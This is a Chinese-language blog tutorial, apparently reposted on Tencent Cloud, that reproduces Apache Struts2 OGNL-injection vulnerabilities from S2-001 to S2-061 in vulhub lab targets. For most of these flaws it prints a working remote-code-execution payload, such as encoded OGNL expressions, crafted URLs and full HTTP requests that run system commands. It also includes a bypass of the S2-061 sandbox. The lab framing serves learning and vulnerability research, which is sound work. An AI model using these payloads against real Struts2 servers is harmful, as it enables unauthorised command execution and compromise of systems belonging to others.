前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Struct2系列漏洞

Struct2系列漏洞

作者头像
Tommonkey
发布2023-03-20 10:59:43
1.1K0
发布2023-03-20 10:59:43
举报
文章被收录于专栏:TommonkeyTommonkey

Struct2是什么

这里摘自互联网上的一段解释:Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。很多年前Struts2 + Spring + Hibernate 三大框架一起组成了 “SSH”,但现在正在被Spring + Spring MVC/ Spring Boot + MyBatis新三剑客“SSM”所代替,具体原因出来性能方面的提高,还要就是struct2的漏洞实在是太多,像国内BAT都被坑了一波,更别说ZF机关。所有struct2被大家抛弃也是情理之中的事情。

OGNL表达式

struct2系列漏洞最开始是使用的OGNL表达式造成非法调用,OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,他是一个开源项目。Struts框架使用OGNL作为默认的表达式语言,这里只简单介绍一下其使用方法,具体使用方法请移步:Ognl表达式基本原理和使用方法

1-1
1-1

OGNL的“#”含义:用于访问非根属性元素或用于过滤与投影 struct2的OGNL中的%与$:(struct2的OGNL通常是以这两个符号开始):

  • %:其可以取出存在值valueStack中的action对象,如:%{getkey(‘key’)}
  • $:在struct2中引用OGNL表达式

靶场演示

声明:靶场与相关POC,EXP来源与vulhub

s2-001远程代码执行漏洞

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。访问靶场开始演示: 访问页面,输入测试数据是否存在漏洞

1-2
1-2

提交后发现测试成功

1-3
1-3

接下来使用poc进行命令执行来显示当前路径

代码语言:javascript
复制
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
1-4
1-4

POC中通过#调用OGNL来创建java.lang中相关类对象来进行命令执行

s2-005命令执行

官方修补通过屏蔽’#’来修复001,同时禁止静态方法调用和类方法执行,但我们可以通过Unicode编码的方式来绕过(#:\u0023),导致了这次漏洞产生。访问靶场:

1-5
1-5

抓包修改添加poc,在tmp下创建success文件

1-6
1-6

访问查看是否创建成功

1-7
1-7

分析一下此poc

代码语言:javascript
复制
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)
((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)
(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

poc中分为三步,第一步是将memberaccess[]中的allowStaticMethodAccess设置为true,其含义为允许访问静态资源。第二步是contest中xwork.MethodAccessor.denyMethodExecution设置为false,其允许方法的执行与调用。第三步就是命令执行了。

s2-009命令执行

对s2-005修复是禁止了“/”,但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL>表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#\等特殊字符的防御。我们的目标是去找一个接受了参数,参数类型是string的action,访问靶场演示

1-9
1-9
1-10
1-10

文件创建成功

s2-012命令执行

struct2在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

代码语言:javascript
复制
<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 {/name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行,所有这里可以直接使用s2-001的poc即可,访问靶场开始测试这里提交后,会进行重定向跳转下载,并且执行{/name}中的值。

s2-013命令执行

Struts2 标签中 <s:a><s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

  1. none - 链接不包含请求的任意参数值(默认)
  2. get - 链接只包含 GET 请求中的参数和其值
  3. all - 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。任意命令执行POC:

代码语言:javascript
复制
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.Buff    eredReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

如:

代码语言:javascript
复制
http://IP:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C    %23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts    2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

靶场演示

1-13
1-13
1-14
1-14

s2-015命令命令执行

漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

代码语言:javascript
复制
<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / “ \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力。这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法 (new java.lang.ProcessBuilder(‘calc’)).start() 来解决,另外还可以借助 Java 反射机制去间接修改:

代码语言:javascript
复制
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_membe    rAccess,true)

可以构造 Payload 如下:

代码语言:javascript
复制
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_mem    berAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}

除了上面所说到的这种情况以外,S2-015 还涉及一种二次引用执行的情况:

代码语言:javascript
复制
<action name="param" class="com.demo.action.ParamAction">
    <result name="success" type="httpheader">
        <param name="error">305</param>
        <param name="headers.fxxk">${message}</param>
    </result>
</action>

这里配置了 <param name="errorMessage">

s2-016命令执行

在struts2中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。所以,访问`http://ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式。执行命令:

代码语言:javascript
复制
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),
#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),
#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),
#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),
#genxor.flush(),#genxor.close()}

s2-32命令执行

Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。直接请求如下URL,即可执行id命令:

代码语言:javascript
复制
http://ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),
%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%    5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,
%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
1-18
1-18
1-19
1-19

s2-045命令执行

直接发送如下数据包,可见233*233已成功执行:

代码语言:javascript
复制
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

靶场演示,这里直接修改数据包发送

1-20
1-20

可以在回包的head中看见结果

s2-057命令执行

当Struts2的配置满足以下条件时:

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性,或使用了通配符,namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。
1-23
1-23
代码语言:javascript
复制
http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

可见233*233的结果已返回在Location头中

s2-059命令执行

Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。 访问 http://your-ip:8080/?id=%25%7B233*233%7D,可以发现233*233的结果被解析到了id属性中

1-22
1-22

s2-061命令执行

S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25 发送如下数据包,即可执行id命令:

代码语言:javascript
复制
POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
1-21
1-21
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-05-072,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Struct2是什么
  • OGNL表达式
  • 靶场演示
    • s2-001远程代码执行漏洞
      • s2-005命令执行
        • s2-009命令执行
          • s2-012命令执行
            • s2-013命令执行
              • s2-015命令命令执行
                • s2-016命令执行
                  • s2-32命令执行
                    • s2-045命令执行
                      • s2-057命令执行
                        • s2-059命令执行
                          • s2-061命令执行
                          领券
                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档